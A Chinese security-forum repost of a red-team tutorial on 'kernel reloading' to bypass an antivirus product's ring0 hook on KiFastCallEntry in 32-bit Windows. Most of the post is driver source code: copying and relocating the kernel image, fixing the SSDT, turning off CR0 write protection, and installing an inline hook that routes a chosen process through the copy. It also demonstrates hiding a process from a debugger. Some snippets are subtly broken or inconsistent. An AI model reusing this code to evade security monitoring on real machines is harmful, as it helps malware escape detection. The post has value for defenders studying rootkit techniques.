安全矩阵

 找回密码
 立即注册
搜索
查看: 2747|回复: 0

ring0下使用内核重载绕过杀软hook

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-7 10:16:46 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-7 10:29 编辑

ring0下使用内核重载绕过杀软hook
原创 szBuffer 红队蓝军
2022-04-07 10:00
转载自:https://forum.butian.net/share/1423

前言
内核重载听起来是一个很高大上的概念,但其实跟PE的知识息息相关,那么为什么会有内核重载的出现呢?
我们知道从ring3进入ring0需要通过int2e/sysenter(syscall)进入ring0,而进入ring0之后又会通过KiFastCallEntry/KiSystemService去
找SSDT表对应响应的内核函数,那么杀软会在这两个地方进行重点盯防。

首先是对int2e/sysenter的盯防,我们知道大多数函数都是通过一系列的调用链,最终找到ntdll.dll里面的函数,找到调用号后通过
int2e/sysenter的方式进入ring0,杀软首先会hook ntdll.dll来实现监测的效果,这里的话之前已经介绍过了,我们可以通过自己逆向的
方式通过汇编定位到int2e/sysenter的地址自己重写ring3部分的api来达到绕过杀软的效果

那么再看ring0,我们知道ring3函数进入ring0之后会去找SSDT表,那么这里就有两种监测的方式,一种的话直接在KiSystemService/KiFastCallEntry挂个
钩子,因为无论是什么函数,KiSystemService/KiFastCallEntry是必经之路,还有一种的话就是通过hook SSDT表里面的函数,但是那样的话会很麻烦,
所以杀软一般都是通过前者来实现ring0的监控

我们这里以某数字杀软为例,通过汇编代码的对比,发现某数字杀软在804de978处更改了一个jmp指令,我们可以看一下前后的对比
  1. hook前:
  2.     sub esp,ecx
  3.     shr ecx,2
  4. hook后:
  5.     jmp 867bf958
复制代码



我们知道要使用Inline hook必须要有5个字节的空间,但是KiFastCallEntry这个函数会有很多寄存器的操作,我们如果随便
挑选5个字节去操作的话很可能会蓝屏,我们可以看一下某数字杀软挑选的hook点。在这个地方不仅能得到ssdt的地址,还能
得到ssdt地址总表,更能得到ssdt索引号,也就是在这个地方不仅不用我们进行寄存器的操作避免蓝屏,还能够直接拿到ssdt表的信息,可谓是风水宝地
那么我们知道了杀软在ring0的监测原理,我们该如何进行绕过呢?

这里就可以使用到内核重载,内核重载顾名思义,就是复制一份内核的代码,当我们复制一份内核的代码之后,让程序走我们
自己复制的这一份内核代码,杀软监控只能监控之前的那份内核代码,从而绕过ring0的监控。

思路
复制内核也是有讲究的,我们知道内核文件本质上也遵循PE结构,那么PE文件的文件偏移和内存偏移也是我们需要考量的一个点,
不能说我们直接将内核文件copy一份就能够跑起来,这里就需要进行PE的拉伸。那么既然有PE的拉伸,就要涉及到重定位表,我们要想定位到函数,这里肯定就需要进行重定位表的修复
在PE拉伸完成和修复重定位表过后,我们获得了一份新的内核,但是这里SSDT因为是直接拿过来的,地址肯定会发生变化,所以这里就需要进行SSDT表的修复
在上面的一系列操作完成之后,我们就可以进行hook操作,这里我们上面已经分析过KiFastCallEntry的hook方式,我们在同样的位置设置一个hook即可达到内核重载的效果

PE拉伸&重定位表修复
这里我把PE拉伸跟重定位表的修复放到一个函数里面,首先我们要进行打开文件的操作,那么这里就要实现几个关于文件的函数操作
主要用到ZwCreateFile、ZwReadFile、ExAllocatePool、ExFreePool这几个函数
  1. // 打开文件
  2. VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName)
  3. {
  4.     HANDLE hFile = NULL;
  5.     NTSTATUS status = STATUS_SUCCESS;
  6.     IO_STATUS_BLOCK IoStatus;
  7.     OBJECT_ATTRIBUTES FileAttrObject; // 创建文件属性对象

  8.     // 初始化 OBJECT_ATTRIBUTES 结构体
  9.     InitializeObjectAttributes(&FileAttrObject, DllName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

  10.     status = ZwCreateFile(&hFile, GENERIC_ALL, &FileAttrObject, &IoStatus, NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

  11.     if (!NT_SUCCESS(status))
  12.     {
  13.         DbgPrint("文件创建不成功\n");
  14.         return FALSE;
  15.     }


  16.     if (phFile)
  17.     {
  18.         *phFile = hFile;
  19.     }

  20.     return TRUE;
  21. }

  22. // 获取指定文件大小
  23. ULONG GetFileSize(HANDLE hFile)
  24. {
  25.     IO_STATUS_BLOCK IoStatus;
  26.     NTSTATUS status = STATUS_SUCCESS;
  27.     FILE_STANDARD_INFORMATION Fileinfo;

  28.     // 获取指定文件大小
  29.     status = ZwQueryInformationFile(hFile, &IoStatus, &Fileinfo, sizeof(Fileinfo), FileStandardInformation);

  30.     if (!NT_SUCCESS(status))
  31.     {
  32.         DbgPrint("文件信息查询失败\n");
  33.         return FALSE;
  34.     }

  35.     return Fileinfo.EndOfFile.LowPart;
  36. }

  37. // 读取文件到内存
  38. VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize)
  39. {
  40.     IO_STATUS_BLOCK IoStatus;
  41.     NTSTATUS status = STATUS_SUCCESS;

  42.     // 读取指定文件到内存中
  43.     status = ZwReadFile(hFile, NULL, NULL, NULL, &IoStatus, Buffer, readSize, NULL, NULL);

  44.     if (!NT_SUCCESS(status))
  45.     {
  46.         DbgPrint("文件读取失败\n");
  47.         return FALSE;
  48.     }
  49. }
复制代码

那么我们首先读取文件到内存
  1. OpenFile(&hFile, DllName);
  2.     FileSize = GetFileSize(hFile);
  3.     szBuffer = (PUCHAR)ExAllocatePool(PagedPool, FileSize);
  4.     ReadFile(hFile, szBuffer, FileSize);
复制代码

然后进行拉伸PE的操作

首先判断是否为PE文件,即4D5A

  1. if (*(PSHORT)szBuffer == 0x5A4D)
复制代码

然后定位到NT头,偏移为0x3c。判断一下是否为5045,即PE标志

  1. PUCHAR NTHeader = *(PULONG)(szBuffer + 0x3C) + szBuffer;
  2. if (*(PULONG)NTHeader == 0x4550)
复制代码

然后获取一下可选PE头里面的SizeOfImage和SizeOfHeaders,这里偏移为SizeOfImage的偏移为 0x18+0x38 = 0x50,同理SizeOfHeaders的偏移为0x54
  1. // 获取SizeOfImage
  2. ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50);

  3. // 获取SizeOfHeaders
  4. ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54);
复制代码


然后使用ExAllocatePool申请一块空间并用MmIsAddressValid判断是否可用,避免蓝屏
  1. PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage);

  2. if (!MmIsAddressValid(szBufferSize))    // 检验是否该内存是否有权限操作
  3. {
  4.     DbgPrint("Memory error\n");
  5.     return NULL;
  6. }
复制代码

那么我们将PE头拷贝到我们申请的内存空间里面并定义一系列指针指向头
  1. // 拷贝PE头
  2.             RtlCopyMemory(szBufferSize, szBuffer, PEHeaderSize);

  3.             // 获取NT头
  4.             PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)szBufferSize)->e_lfanew + szBufferSize);

  5.             // 获取标准PE头
  6.             PIMAGE_FILE_HEADER FileHeader = &NtHeader->FileHeader;

  7.             // 获取可选PE头
  8.             PIMAGE_OPTIONAL_HEADER OptionalHeader = &NtHeader->OptionalHeader;

  9.             // 获取可选PE头大小
  10.             ULONG SizeOfOptional = FileHeader->SizeOfOptionalHeader;

  11.             // 获取节的数量
  12.             SHORT SectionNumber = FileHeader->NumberOfSections;

  13.             // 获取节表位置
  14.             PUCHAR SectionBaseAddr = (PUCHAR)((PUCHAR)NtHeader + 0x4 + 0x14 + SizeOfOptional);
  15.             PUCHAR pSectionBaseAddr = SectionBaseAddr;
复制代码

然后进行节表的拷贝,因为我们已经获取到了节的数量,所以可以直接使用遍历的方式拷贝,这里我们定义三个变量获取节中
的VirtualAddress、SizeOfRawData、PointerToRawData属性,分别在0xc、0x10、0x14的位置,

  1. // 拷贝节
  2.             CHAR Name[0x9] = { 0 };

  3.             for (int i = 0; i < SectionNumber; i++)
  4.             {
  5.                 RtlCopyMemory(Name, pSectionBaseAddr, 0x8);
  6.                 DbgPrint(("Name: %s\n", Name));
  7.                
  8.                 ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14);
  9.                 ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10);
  10.                 ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC);

  11.                 RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData);

  12.                 pSectionBaseAddr += 0x28; // 下一个节
  13.             }
复制代码

然后我们再对重定位表进行修复,首先看下重定位表的结构,位于数据目录项的第6个
  1. typedef struct _IMAGE_DATA_DIRECTORY {
  2.     DWORD   VirtualAddress;
  3.     DWORD   Size;
  4. } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
复制代码

跟导出表相同,VirtualAddress存放的是指向真正重定位表地址的rva,而Size重定位表的大小,通过RVA->FOA在FileBuffer定位后得到真正重定位表的结构如下
  1. typedef struct _IMAGE_BASE_RELOCATION {
  2.     DWORD   VirtualAddress;
  3.     DWORD   SizeOfBlock;
  4. } IMAGE_BASE_RELOCATION;
  5. typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
复制代码

这里的VirtualAddress还是RVA,SizeOfBlock则是重定位表的核心结构,存储的值以字节为单位,表示的是重定位表的大小,那么如果我们要知道重定位表结构的数量该怎么办呢?

这里规定在最后一个结构的VirtualAddress和SizeOfBlock的值都为0,这里就可以进行判断来获取重定位表有多少个结构

我们来看一看直观的重定位表图,假设我们这里重定位结构的数量为3,那么在最后8字节即VirtualAddress和SizeOfBlock的值都为0,可以说重定位表就是很多个块结构所构成的。

在每一块结构的VirtualAddress和SizeOfBlock里面,都有很多宽度为2字节的十六进制数据,这里我们称他们为具体项。在内存中页大小的值
为1000H,即2的12次方,也就是通过这个1000H就能够表示出一个页里面所有的偏移地址。而具体项的宽度为16位,页大小的值为低12位,那么高4位是用来表示什么呢?

这里高4位只可能有两种情况,0011或0000,对应的十进制就是3或0。
当高4位的值为0011的时候,我们需要修复的数据地址就是VirtualAddress + 低12位的值。例如这里我的VirtualAddress是0x12345678,具体项的
数值为001100000001,那么这个值就是有意义的,需要修改的RVA = 0x12345678+0x00000001 = 0x12345679。
当高4位的值为0000的时候,这里就不需要进行重定位的修改,这里的具体项只是用于数据对齐的数据。

也就是说,我们如果要进行重定位表的修改,就只需要判断具体项的高4位是否为0011,若是则进行重定位表的修复即可
实现代码如下
  1.   KernelBaseRelocation =
  2.         (PIMAGE_BASE_RELOCATION)(NewKernelImageBase + KernelNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress);

  3.     while (KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0)
  4.     {
  5.         // 要修改的重定位表的数量
  6.         NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8) / 2;

  7.         // 得到索引Base的偏移
  8.         BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8);

  9.         while (NumberOfModify--)
  10.         {
  11.             
  12.             //得到Base
  13.             Base = *BaseAddr;

  14.             // 判断高4位是否为3,若为3则修改
  15.             if (*BaseAddr>>12 == 3)
  16.             {
  17.                 // 清除属性位
  18.                 Base = Base & 0x0FFF;

  19.                 // 得到要修改全局变量的索引
  20.                 PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base);

  21.                 *AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase;
  22.             }

  23.             // 得到下一个BaseAddr
  24.             BaseAddr++;
  25.         }

  26.         // 下一个重定位表
  27.         KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock);
  28.     }
复制代码

SSDT表修复

因为SSDT结构有多层,所以要分别进行运算。首先确定新SSDT在哪个位置,用导出KeServiceDescriptorTable导出的老内核的SSDT结
构,然后用原来的SSDT地址+相对加载地址即可得到新的SSDT地址。
然后再修正SSDT函数中的地址。方法是在原来的函数地址上+ 相对加载地址,即相对加载地址 = 新内核加载地址 - 老内核加载地址
  1. SystemServiceTable KeServiceTable = KeServiceDescriptorTable;  // SSDT
  2. PSystemServiceTable KeServiceTableShadow = (PSystemServiceTable)((ULONG)KeServiceTable - 0x40); // SSDTShadow

  3. LONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr;   // 新SSDT与旧SSDT的相对偏移

  4. PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset);  // 新SSDT地址

  5. // 修复 FunctionsAddrTable 、 FunctionsArgsAddrTable 、 FunctionsLimit
  6. NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset);   // 函数地址表
  7. NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset);  // 函数参数表
  8. NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; // 服务个数
复制代码

然后依次遍历修改
  1. for (ULONG i = 0; i < NewKeServiceTable->FunctionsLimit; i+++)
  2.     {//新的函数地址再加上相对加载地址,得到现在的ssdt函数地址
  3.        NewKeServiceTable->FunctionsAddrTable[i] += Offset;
  4.     }
复制代码

hook KiFastCallEntry
我们在之前已经分析过了hook的地点,那么这里我们直接使用inline hook的方式即可,但是这里只适用于单核环境下,如果是多核情况下发现线程切换的情况下需要使用其他方法来进行hook
这里我们首先写一个判断,如果是我们想要获得的程序进程就走我们自己重载的内核
  1. LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress)
  2. {
  3.     if (ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase)
  4.     {//比较当前调用的进程是不是ce
  5.         if (!strcmp((char*)PsGetCurrentProcess()+0x174,"notepad.exe"))
  6.         {
  7.             return pNewSSDT->ServiceTableBase[FuncIndex];
  8.         }
  9.     }
  10.     return OrigFuncAddress;
  11. }
复制代码

然后写一个asm使用汇编语句进行调用FilterFunc
  1. VOID __declspec(naked) MyFunction()
  2. {
  3. __asm
  4. {
  5.   pushad
  6.   pushfd
  7. }

  8. // 测试是否hook成功
  9. __asm
  10. {
  11.   push ebx
  12.   push eax
  13.   push edi
  14.   call FilterFunc
  15. }

  16. // 修改ebx
  17. __asm
  18. {
  19.   mov dword ptr ss : [esp + 0x14] , eax
  20. }

  21. __asm
  22. {
  23.   popfd
  24.   popad
  25. }

  26. // 执行原代码
  27. __asm
  28. {
  29.   sub esp, ecx
  30.   shr ecx, 2
  31. }

  32. __asm
  33. {
  34.   jmp RetAddr
  35. }
  36. }
复制代码

然后进行Inline hook,这里有一个注意的点就是页在默认情况下是只读的,这里就需要修改cr0寄存器的值来进行读写
  1. // 关闭页只读保护
  2. void _declspec(naked) ShutPageProtect()
  3. {
  4.     __asm
  5.     {
  6.         push eax;
  7.         mov eax, cr0;
  8.         and eax, ~0x10000;
  9.         mov cr0, eax;
  10.         pop eax;
  11.         ret;
  12.     }
  13. }

  14. // 开启页只读保护
  15. void _declspec(naked) OpenPageProtect()
  16. {
  17.     __asm
  18.     {
  19.         push eax;
  20.         mov eax, cr0;
  21.         or eax, 0x10000;
  22.         mov cr0, eax;
  23.         pop eax;
  24.         ret;
  25.     }
  26. }
复制代码

这里首先定位要hook的地址,利用特征码搜索的方式,我们首先看下要hook的两行的硬编码为2be1c1e902,放到一个数组里面
  1. UCHAR shell1[] = { 0x2B, 0xE1, 0xC1, 0xE9, 0x02 };<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


然后为了避免重复的硬编码,这里再判断一下80542602这个地方的硬编码是否匹配,若匹配则证明定位准确,同样放在数组里面
  1. UCHAR shell2[] = { 0x8B, 0x1C, 0x87 };<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


这里写一个比较字符的函数
  1. ULONG MyCompareString(PUCHAR string1, PUCHAR string2, ULONG number)
  2. {
  3. // 计数
  4. ULONG i = 0;

  5. while (number--)
  6. {
  7.   if (*(string1 + i) == *(string2 + i))
  8.   {
  9.    i++;
  10.   }
  11.   else
  12.   {
  13.    return FALSE;
  14.   }
  15. }

  16. return TRUE;
  17. }
复制代码

然后进行特征码的遍历
  1. OldKernelImageBase2 = (PUCHAR)OldKernelImageBase;
  2. OldKernelSizeOfImage2 = OldKernelSizeOfImage;

  3. while (OldKernelSizeOfImage2--)
  4. {
  5.   if (FALSE == MyCompareString(shell1, OldKernelImageBase2, 5))
  6.   {
  7.    OldKernelImageBase2++;
  8.   }
  9.   else
  10.   {
  11.    OldKernelImageBase2 = OldKernelImageBase2 - 3;
  12.    if (FALSE == MyCompareString(shell2, OldKernelImageBase2, 3))
  13.    {
  14.     OldKernelImageBase2 = OldKernelImageBase2 + 4;
  15.     continue;
  16.    }
  17.    else
  18.    {
  19.     HookAddr = (ULONG)OldKernelImageBase2 + 3;
  20.     DbgPrint("hook_address:%x\n", HookAddr);
  21.     break;
  22.    }
  23.   }
  24. }
复制代码

然后进行hook FastCallEntry的操作
  1. void HookKiFastCallEntry()
  2. {
  3.     UCHAR jmp_code[5];
  4.     jmp_code[0]=0xe9;
  5.    
  6.     *(ULONG *)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr;
  7.    
  8.     RetAd = hookaddr + 5;
  9.     ShutPageProtect();
  10.     //inline hook
  11.     RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5);
  12.     OpenPageProtect();
  13. }
复制代码

驱动卸载
在驱动卸载的地方,我们把原来的硬编码写回,这里为了防止多核状态下的线程切换,直接使用cmpxchg8b指令写回
  1. VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare)
  2. {
  3. __asm
  4. {
  5.   push ebx
  6.   push ebp
  7.   mov ebp, ecx    // destination = ebp
  8.   mov ebx, [edx]  // exchange低4字节
  9.   mov ecx, [edx + 4]  // exchange高4字节
  10.   mov edx, [esp + 8 + 4]  // compare给edx
  11.   mov eax, [edx]
  12.   mov edx, [edx + 4]
  13.   lock cmpxchg8b qword ptr[ebp]
  14.   pop ebp
  15.   pop ebx
  16.   retn 4
  17. }
  18. }
复制代码

实现效果
这里首先看一下没有内核重载之前KiFastCallEntry的代码

在80542605的地方汇编语句为sub esp,ecx

然后我们加载驱动,看到hook的地址正是80542605


这里我们再定位到80542605的位置发现已经是我们自己写的函数


这里跳转过去看看,和我们自己写的MyFunction传入的汇编代码是相同的

我们再去通过KiFastCallEntry定位一下hook点,发现也已经被修改



这里为了方便查看效果,我用ssdt hook了NtOpenProcess函数,使用ollydbg附加进程可以发现没有notepad.exe这个进程,这是因为
OD走的是原内核,所以在进程列表里面是没有notepad.exe这个进程


然后这里卸载驱动

再去定位到80542605地址处,已经恢复成原汇编指令

往期推荐
Spring Beans RCE分析(附带环境源码)
初探Listener内存马
对于挖矿的检测以及防御方案
记一次内网渗透靶场学习
hvv面试题整理(补充版)
基于PEB断链实现进程/模块隐藏
用户层下API的逆向分析及重构
进程伪装详解
ring0下的Inline hook
DLL劫持详解



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:38 , Processed in 0.015357 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表